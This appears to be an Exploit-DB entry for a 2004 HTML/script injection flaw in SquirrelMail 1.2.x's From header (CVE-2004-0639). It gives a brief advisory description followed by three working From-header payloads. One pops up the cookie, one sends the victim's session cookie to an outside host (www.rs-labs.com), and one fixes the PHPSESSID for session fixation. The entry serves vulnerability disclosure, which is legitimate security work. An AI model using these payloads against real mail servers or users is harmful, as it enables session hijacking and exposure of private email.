SquirrelMail 1.2.x - From Email Header HTML Injection

Author: anonymous
type: webapps
platform: php
port: 
date_added: 2004-06-03 
date_updated: 2013-01-16 
verified: 1 
codes: CVE-2004-0639;OSVDB-8292 
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source: https://www.securityfocus.com/bid/10450/info

SquirrelMail is reported to be prone to a 'from' field email header HTML injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied email header strings.

An attacker can exploit this issue to gain access to an unsuspecting user's cookie based authentication credentials; disclosure of personal email is possible. Other attacks are also possible.

From:<!--<>(-->John Doe<script>window.alert(document.cookie);</script><>

From:(<!--(--><script>document.location='http://www.rs-labs.com/?'+document.cookie;</script><>

From:<!--<>(-->John Doe<script>document.cookie='PHPSESSID=xxx;path=/';</script><>